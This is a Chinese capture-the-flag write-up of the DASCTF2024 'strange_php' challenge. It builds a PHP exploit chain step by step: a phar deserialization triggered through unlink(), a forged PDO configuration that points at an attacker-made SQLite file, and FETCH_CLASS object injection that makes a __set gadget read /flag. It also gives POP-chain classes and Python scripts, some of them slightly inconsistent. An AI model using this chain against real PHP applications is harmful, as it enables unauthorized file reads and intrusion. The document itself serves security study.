CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

step 1 如何触发反序列化?

漏洞入口在

welcome.php

php 复制代码
case 'delete':  
    // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径  
    $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];  
    $msg = $userMessage->deleteMessage($message); // 删除留言  
  
    if ($msg) {  
        echo "留言已成功删除"; // 输出成功删除信息  
    } else {  
        echo "操作失败,请重新尝试"; // 输出失败信息  
    }  
    break;

此处message_path可控,进一步跟进

UserMessage.php

php 复制代码
public function deleteMessage($path) {  
    $path = $path . ".txt"; // 添加文件扩展名  
    if (file_exists($path)) {  
        $result = unlink($path);  
        if ($result === false) {  
            return false;  
        }  
        return true;  
    }  
    return false;  
}

$path可控,同时unlink可触发phar反序列化

step 2 如何创造一个可控文件?

php 复制代码
public function writeMessage($message) {  
    $result = file_put_contents($this->filePath, $message);  
    if ($result === false) {  
        return false;  
    }  
    return true;  
}

step 3 如何利用反序列化读取flag?

php 复制代码
<?php  
  
class UserMessage {  
    private $filePath;  

    ........
    
    // 魔术方法 __set,用于设置私有属性并记录日志  
    public function __set($name, $value) {  
        $this->$name = $value;  
        $logContent = file_get_contents($this->filePath) . "</br>";  
        file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
    }  
    
	.......
?>

魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。

php 复制代码
class MyClass {
    private $data = [];

    public function __set($name, $value) {
        $this->data[$name] = $value;
    }
}

$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John

step 4 如何触发__set()?

题目使用PDO链接数据库

PDO_connect.php

php 复制代码
<?php  
  
class PDO_connect {  
  
    private $pdo; // 用于保存 PDO 实例  
    public $con_options = []; // 用于设置 PDO 连接的选项  
    public $smt; // 用于保存 PDOStatement 实例  
  
    public function __construct() {  
        // 构造函数,初始化对象时调用  
    }  
  
    // 初始化连接选项  
    public function init() {  
    
        $this->con_options = array(  
            "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称  
            'host' => '127.0.0.1', // 数据库主机地址  
            'port' => '3306', // 数据库端口  
            'user' => 'joker', // 数据库用户名  
            'password' => 'joker', // 数据库密码  
            'charset' => 'utf8', // 字符集  
            'options' => array(  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组  
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常  
            )  
        );  
    }  
  
    // 获取数据库连接  
    public function get_connection() {  
        $this->conn = null; // 初始化连接为 null        try {  
            // 创建 PDO 实例  
            $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);  
  
            // 设置错误处理模式  
            if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {  
                $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);  
            }  
  
            // 设置默认获取模式  
            if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {  
                $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);  
            }  
  
        } catch (PDOException $e) {  
            // 捕获异常并输出错误信息  
            echo 'Connection Error: ' . $e->getMessage();  
        }  
        return $this->conn; // 返回 PDO 连接实例  
    }  
}  
?>

在PHP的PDO(PHP Data Objects)中,PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。

PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 是两种不同的获取模式:

  1. PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。

  2. PDO::FETCH_CLASSTYPE :当与 PDO::FETCH_CLASS 结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。

通过将 PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。

PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。

php 复制代码
class Admin {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

class Member {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];

$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);

$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);

while ($user = $statement->fetch()) {
    echo get_class($user) . "\n"; // 打印当前行映射的类名
    echo $user->id . "\n";
    echo $user->username . "\n";
    echo $user->password . "\n";
}

在这个例子中,PDO 会根据 class_name 列的值来决定实例化 AdminMember 类。其他列 (id, username, password) 将被传递给相应类的构造函数。


我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果

从这里可以得知目录路径

php 复制代码
public function __set($name, $value) {  
    $this->$name = $value;  
    $logContent = file_get_contents($this->filePath) . "</br>";  
    file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
}

可以写出

php 复制代码
class PDO_connect{  
    private $pdo;  
    public $con_options = []; 
    public $smt;  
    public function __construct(){  
  
        $this->con_options =  
            [   "dsn"=>'sqlite:/var/www/html/xxx.txt',  
                "username"=>"root",  
                "password"=>"root",  
                "options"=>[  
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
                ]  
            ];  
    }  
}

step 5 如何触发PDO_connect?

利用User.__destruct

User.php

php 复制代码
public function __destruct() {  
    if ($this->username) {  
        $results = $this->log();  
        $log_mess = serialize($results);  
  
        // 记录日志到文件  
        file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);  
    }  
}

->log即可触发查询,当查询键为UserMessage会返回伪造的值

php 复制代码
public function log() {  
    try {  
        $sql = "SELECT * FROM users WHERE username = :username";  
        $pdo = $this->conn->get_connection();  
        $stmt = $pdo->prepare($sql);  
  
        $stmt->bindParam(':username', $this->username);  
        $stmt->execute();  
        $result = $stmt->fetch();  
        return $result;  
    } catch (PDOException $e) {  
        echo $e->getMessage();  
    }  
}

所以写出

php 复制代码
class PDO_connect{  
    private $pdo;  
    public $con_options = [];
    public $smt;  
    public function __construct(){  
        $this->con_options = [  
            "dsn"=>'sqlite:./fake_db.sqlite',  
            "username"=>"root",  
            "password"=>"root",  
            "options"=>[  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
            ]  
        ];  
    }  
}  
class User{  
    private $conn;  
    private $table = 'users';  
  
    public $id;  
    public $username;  
  
    public $password;  
  
    public function __construct(){  
  
        $this->conn = new PDO_connect();  
        $this->username = "UserMessage";  
  
    }  
}

尝试

python 复制代码
import sqlite3  
  
conn = sqlite3.connect('fake_db.sqlite')  
cursor = conn.cursor()  
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (

    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    set_name TEXT NOT NULL,

id INTEGER PRIMARY KEY AUTOINCREMENT)
''')  
users = [  
    ('UserMessage', 'filePath_value', 'set_value'),  
]  
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?)  ''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()
php 复制代码
import sqlite3  
  
conn = sqlite3.connect('fake.db')  
cursor = conn.cursor()  
cursor.execute('''  
CREATE TABLE IF NOT EXISTS users (  
  
    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    password TEXT NOT NULL,
    
id INTEGER PRIMARY KEY AUTOINCREMENT)  
''')  
users = [  
    ('UserMessage', '/flag', '/flag'),  
]  
cursor.executemany('''  
INSERT INTO users (username, password,filePath) VALUES (?,?,?)  
''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()

即可控制变量值触发/flag读取

相关推荐
不会代码的小徐17 分钟前
容器安全-核心概述
安全·网络安全·云计算
玉笥寻珍10 小时前
web安全渗透测试基础知识之登录绕过篇
python·安全·web安全·网络安全·威胁分析
独行soc10 小时前
2025年渗透测试面试题总结-渗透测试红队面试九(题目+回答)
linux·安全·web安全·网络安全·面试·职场和发展·渗透测试
chilavert31812 小时前
关于Python 实现接口安全防护:限流、熔断降级与认证授权的深度实践
python·网络安全
上海云盾第一敬业销售12 小时前
高防ip支持哪些网络协议
网络安全
梧六柒19 小时前
1.9-为什么要反弹shell-反弹shell的核心价值在哪-注意事项
网络安全
苏生要努力1 天前
第九届御网杯网络安全大赛初赛WP
linux·python·网络安全
2501_915909061 天前
iOS App 安全性探索:源码保护、混淆方案与逆向防护日常
websocket·网络协议·tcp/ip·http·网络安全·https·udp
禾木KG1 天前
网络安全-等级保护(等保) 2-3 GB/T 22240—2020《信息安全技术 网络安全等级保护定级指南》-2020-04-28发布【现行】
网络安全
python算法(魔法师版)1 天前
API安全
网络·物联网·网络协议·安全·网络安全